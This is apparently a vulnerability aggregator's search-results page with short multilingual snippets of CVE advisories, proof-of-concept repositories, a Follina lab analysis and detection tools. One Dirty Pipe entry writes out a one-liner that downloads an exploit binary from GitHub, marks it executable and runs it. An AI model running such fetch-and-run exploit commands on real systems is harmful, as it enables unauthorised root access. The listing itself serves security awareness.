831507 matches found
sqlite: SQLite: Arbitrary code execution and crash via heap-based buffer overflow in FTS5
A flaw was found in SQLite, specifically within its FTS5 full-text search extension. Attackers can exploit a heap-based buffer overflow by providing a specially crafted database. This crafted database contains malicious metadata that triggers an integer underflow during FTS5 MATCH query processin...
CVE-2022-0847-Dirty-Pipe
ワンライナーエクスプロイト CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...
NetoolHunter-English-Edition
🛡️ NetoolHunter — English Edition A Kali NetHunter securit...
Static-Malware-Analysis-Follina-CVE-2022-30190
Static-Malware-Analysis-Follina-CVE-2022-30190 Static Malware Analysis of Follina CVE-2022-30190 from Blue Team Labs Online Lab : Blue Team Labs Online – Follina Challenge Analysis Type : Static Analysis Tools Used : VirusTotal, Windows File Explorer Introduction As my Blue Team journey, I wanted...
Security Bulletin: IBM i is Affected By Sensitive Information Exposure Vulnerability in PASE [CVE-2026-18887]
Summary IBM i is vulnerable to allowing sensitive information access to unauthorized users CVE-2206-18887 in Portable Application Solutions Environment PASE as described in the vulnerability details section. Vulnerability Details CVEID:CVE-2026-18887 DESCRIPTION: IBM i could allow an authenticate...
CVE-2026-73700 Authenticated Stored Cross-Site Scripting Vulnerability (XSS) in HPE Networking Fabric Composer Web-Based Management Interface
A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an authenticated low privilege operator user to conduct a stored cross-site scripting XSS attack against an administrative user of the interface. A successful exploit could allow an attacker to...
EUVD-2026-69578
A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an authenticated low privilege operator user to conduct a stored cross-site scripting XSS attack against an administrative user of the interface. A successful exploit could allow an attacker to...
CVE-2026-73700
HPE Networking Fabric Composer contains a stored cross-site scripting (XSS) vulnerability in its web-based management interface. An authenticated low-privilege operator can inject malicious script that executes in the browser of an administrative user , potentially allowing arbitrary code executi...
CVE-2026-73700 Authenticated Stored Cross-Site Scripting Vulnerability (XSS) in HPE Networking Fabric Composer Web-Based Management Interface
A vulnerability in the web-based management interface of HPE Networking Fabric Composer could allow an authenticated low privilege operator user to conduct a stored cross-site scripting XSS attack against an administrative user of the interface. A successful exploit could allow an attacker to...
hassh
"HASSH" - a Profiling Method for SSH Clients and Servers. NOTE: This Corelight repository was created so that it can be actively maintained, as per a request from Salesforce whose original repository is not being maintained. "HASSH" is a network fingerprinting standard which can be used to identi...
hassh
"HASSH" - SSHクライアントおよびサーバーのプロファイリング手法。 注記：このCorelightリポジトリは、元のリポジトリがメンテナンスされていないSalesforceからの要請に応じて、積極的にメンテナンスできるように作成されました。 "HASSH" は、特定のSSHクライアントおよびサーバー実装を識別するために使用できるネットワークフィンガープリンティング標準です。フィンガープリントは、MD5フィンガープリントの形式で簡単に保存、検索、共有できます。 HASSHでできること：...
CVE-2026-29000
PoC de Bypass de Autenticación JWT/JWE Un script de Prueba de Concepto PoC que demuestra una vulnerabilidad de bypass de autenticación mediante JSON Web Tokens JWT y JSON Web Encryption JWE. Esta herramienta explota entornos que validan incorrectamente los algoritmos de token al aceptar JWTs no...
CVE-2026-41940
⚠️ CVE-2026-41940 - cPanel & WHM 認証バイパス cPanel & WHM における重大な事前認証バイパス 📌 概要 CVE-2026-41940 は、cPanel & WHM および WP Squared に影響を与える重大な認証バイパス の脆弱性です。 認証されていないリモート攻撃者は、ログインを完全にバイパスして、サーバーへの完全な管理者 root/WHM アクセス を取得できます。 この欠陥は、パッチがリリースされる前に実際の環境で活発に悪用されていました 。 🎯 深刻度 メトリクス| 値 ---|--- CVSS 3.1 スコア| 9.8 緊急...
internet-of-vulnerable-things
Internet de las Cosas Vulnerables Los resultados de mi pequeño trabajo de investigación sobre el tema de Internet de las Cosas Vulnerables. Resumen Este artículo proporciona una demostración práctica de lo inseguro que es Internet de las Cosas hackeando un dispositivo IoT típico. Se identificaron...
CVE-2026-0300
🚨 CVE-2026-0300 - Palo Alto Networks PAN-OS 严重未认证远程代码执行漏洞 User-ID™ 认证门户 （强制门户）中的缓冲区溢出 — 已在野外被积极利用 📋 概述 PAN-OS 的 User-ID 认证门户中存在一个严重缓冲区溢出漏洞 （CWE-787），允许未认证攻击者 通过发送特制数据包实现以 root 权限远程执行代码 。 CVE 编号 ：CVE-2026-0300 CVSS 4.0 评分 ：9.3（严重） 紧急程度 ：最高 🛠️ 受影响产品 PA 系列防火墙 VM 系列防火墙 受影响的 PAN-OS 版本 不受影响 ：Cloud...
CVE-2026-43503
CVE-2026-43503 DirtyClone - PoC - SecurewithUmer PoC de DirtyClone — una vulnerabilidad local de escalada de privilegios en el kernel de Linux. Este repositorio contiene una prueba de concepto funcional que permite a un usuario local sin privilegios obtener privilegios de root explotando la...
CVE-2022-0435-Poc
CVE-2022-0435スタックオーバーフロー wget https://releases.ubuntu.com/jammy/ubuntu-22.04.5-live-server-amd64.iso mkdir kernel wget https://kernel.ubuntu.com/mainline/v5.13/amd64/linux-headers-5.13.0-051300-generic5.13.0-051300.202106272333amd64.deb wget...
pipelock v3.5.0
Pipelock Open-source AI agent firewall forVerifiable Egress Control. !pipelock...
ripple20
"Ripple20" Treck IOT/ICS device discovery and exploit detection v0.2 Resumen: Un paquete de Zeek para la detección pasiva de dispositivos Treck, los intentos de descubrimiento/escaneo y la explotación del conjunto de vulnerabilidades "Ripple20" en la pila TCP/IP de Treck. Referencias:...
CVE-2022-0847-DirtyPipe-Exploits
CVE-2022-0847-DirtyPipe-Exploits Una colección de exploits y documentación para pentesters y red teamers que puede utilizarse para ayudar en la explotación de la vulnerabilidad Dirty Pipe de Linux. Acerca de la vulnerabilidad Dirty Pipe CVE-2022-0847 es una vulnerabilidad de escalada de privilegi...